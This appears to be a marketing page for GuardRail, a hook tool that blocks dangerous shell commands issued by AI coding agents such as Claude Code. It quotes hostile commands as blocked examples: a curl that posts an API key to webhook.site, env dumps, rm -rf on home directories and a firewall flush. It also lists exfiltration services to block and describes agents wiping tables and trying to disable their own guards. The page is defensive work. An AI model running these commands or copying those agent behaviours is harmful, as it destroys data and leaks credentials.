Private beta · Open-source Core in preparation

Review every dangerous command before it becomes an incident.

GuardRail adds deterministic safety hooks between Claude Code and your shell. High-risk command patterns are denied before execution; safe commands continue normally.

$ npx guardrail-agent init Request preview

Claude Code supported today · Other agent integrations are not yet released

$ npx guardrail-agent init
+ Installed 10 core guards
+ Configured Claude Code hooks
$ rm -rf /home/developerx BLOCKED destructive path
$ git push --force origin mainx BLOCKED protected branch
$ envx BLOCKED exposes all environment variables
$ curl webhook.site/token -d $API_KEYx BLOCKED secret exfiltration
$ DELETE FROM usersx BLOCKED no WHERE clause
$ iptables -Fx BLOCKED firewall flush
$ git push origin develop+ OK
$ npm install express+ OK
GuardRail active. 6 blocked, 2 allowed.
The problem

These are not hypothetical scenarios

AI coding agents are powerful because they can execute any command. That is also why they are dangerous. One wrong assumption, one hallucinated flag, one misunderstood instruction.

DROP TABLE profiles;

The agent "cleaned up" a test table

It connected to the production database instead of test. The table had 12,000 user profiles.

Without GuardRail: Data gone. Backup restore takes hours.
With GuardRail: Blocked. No WHERE clause on a protected table.
docker inspect --format '{{.Config.Env}}' app

The agent dumped all container secrets

API keys, database passwords, SMTP credentials appeared in the conversation. The context window became a security incident.

Without GuardRail: Secrets in chat history. Rotation needed.
With GuardRail: Blocked. Container env inspection requires approval.
git push --force origin main

The agent "fixed" a merge conflict

It force-pushed to the production branch, overwriting three days of team commits.

Without GuardRail: Production branch rewritten. Team scrambles.
With GuardRail: Blocked. Force push to protected branches denied.
How it works

One command to install. Zero configuration.

GuardRail installs as pre-execution hooks in your AI coding agent. Every command passes through the guard chain before it runs. No dashboard, no YAML files, no SaaS dependency.

1

Install

One command adds GuardRail to your project. It configures the hooks directory and installs 10 core security guards.

$ npx guardrail-agent init
2

Work normally

Your AI agent runs commands as usual. GuardRail checks each one against the guard chain. Safe commands pass through without delay.

3

Dangerous commands are blocked

When a command matches a known dangerous pattern, GuardRail blocks it before execution. The agent sees why it was blocked and adjusts.

Free Core · Public release in preparation

10 core guards included

Ten readable MIT-licensed rules for common high-impact mistakes. Public source release follows after the private security review.

pre-bash

main_push_guard

Blocks direct push to main/master, force push, and git reset --hard.

pre-bash

basic_pii_gate

Blocks env, printenv, /proc/environ, docker inspect without --format.

pre-bash

basic_secret_detector

Blocks exfiltration to webhook.site, requestbin, pipedream, and similar services.

pre-bash

destructive_path_guard

Blocks rm -rf on /etc, /usr, /var, /home, and other critical system paths.

pre-bash

firewall_flush_guard

Blocks iptables flush, ufw disable, nft flush ruleset.

pre-bash

service_protection_guard

Blocks stop/disable/kill on sshd, docker, postgres, nginx, and other critical services.

pre-bash · database

mass_update_guard

Blocks UPDATE/DELETE without WHERE clause on protected database tables.

post-bash

env_dump_detector

Detects full environment dumps in command output and flags the exposure.

post-bash

basic_injection_scanner

Detects prompt injection attempts in command output before they reach the agent.

post-edit

error_swallow_guard

Catches empty catch blocks in payment, webhook, and cron code during file edits.

Why this exists

Built from real production incidents

GuardRail was not designed on a whiteboard. It was extracted from a production system that runs AI coding agents across multiple live applications. Every guard exists because something went wrong.

Incident-driven development

Each guard was written after a real event. Database wipe, secret leak, firewall disabled, production branch overwritten. The patterns come from what actually happens, not what might.

Exercised in daily operations

The underlying guard patterns run across a multi-app infrastructure. The public Core has a separate release suite, including real dispatcher payloads and safe-command controls.

Open Core

The 10 core guards are MIT licensed and free. The Pro tier adds 48 additional guards for advanced threat patterns. Both tiers run the same architecture.

58
Guards total
15
Apps in our production
103
Automated release checks
GuardRail Pro

The guards you cannot write from documentation

Core guards catch the obvious threats. Pro guards catch the subtle ones: multi-step attacks that look harmless individually, agents disabling their own safeguards, PII leaking through unexpected vectors.

PII Shield

Scans agent outputs for personal data across 10 EU countries. Detects IBAN, tax IDs, names, addresses. 3-tier classification: SICHER, PRUEFEN, FREI.

Audit Trail

Structured JSONL logging of every agent action. Daily file rotation, configurable retention. The evidence layer for compliance reporting.

Compliance Reporter

Maps technical controls to governance requirements, records limitations, and highlights gaps that still need organizational or legal assessment.

Multi-Step Attack Defense

Tracks command sequences across a session. Detects coordinated reconnaissance patterns that single-command guards miss.

Self-Bypass Prevention

Detects when an AI agent attempts to modify, disable, or circumvent its own security guards. A real pattern we discovered in production.

PEN-Test Framework

50+ attack patterns to validate your guard chain. Profile escape testing. Bypass persistence checks. Generates a structured report.

Core
Free
Open source, MIT licensed. Always free.
  • 10 auditable core security guards
  • Pre-bash, post-bash, post-edit hooks
  • Custom guard directory for your own rules
  • Audit log for all blocked commands
  • Public issue tracker after open-source release
Request preview

Need a compliance package for your organization?

€4,900 one-time

Compliance Kit: Guard configuration for your stack, EU AI Act gap analysis, documentation templates, 2h setup call.

Request Compliance Kit
Technical controls for auditable AI operations

Evidence, not compliance theatre

A coding agent is not automatically a high-risk AI system under the EU AI Act. Classification depends on intended purpose and context. GuardRail contributes technical controls and evidence to a broader governance program; it is not legal advice and does not create compliance by itself.

Article 9

Risk Management

Guard classification per risk level. PEN-test framework for validation. Risk-based guard activation per command profile.

Article 10

Data Governance

PII gates help prevent secret exposure. Environment dump detection. Container inspection controls.

Article 12

Record-Keeping

Timestamped audit log. Every blocked command recorded with guard name, reason, and session context.

Article 14

Human Oversight

Pre-execution gates block before damage occurs. Approval workflows for critical operations.

Article 15

Accuracy & Robustness

Injection defense. Regression test suite. Continuous validation of guard accuracy.

Join the private security review

Get the ten-rule Core, the threat model, and the release test evidence before the public open-source launch.

$ npx guardrail-agent init Request preview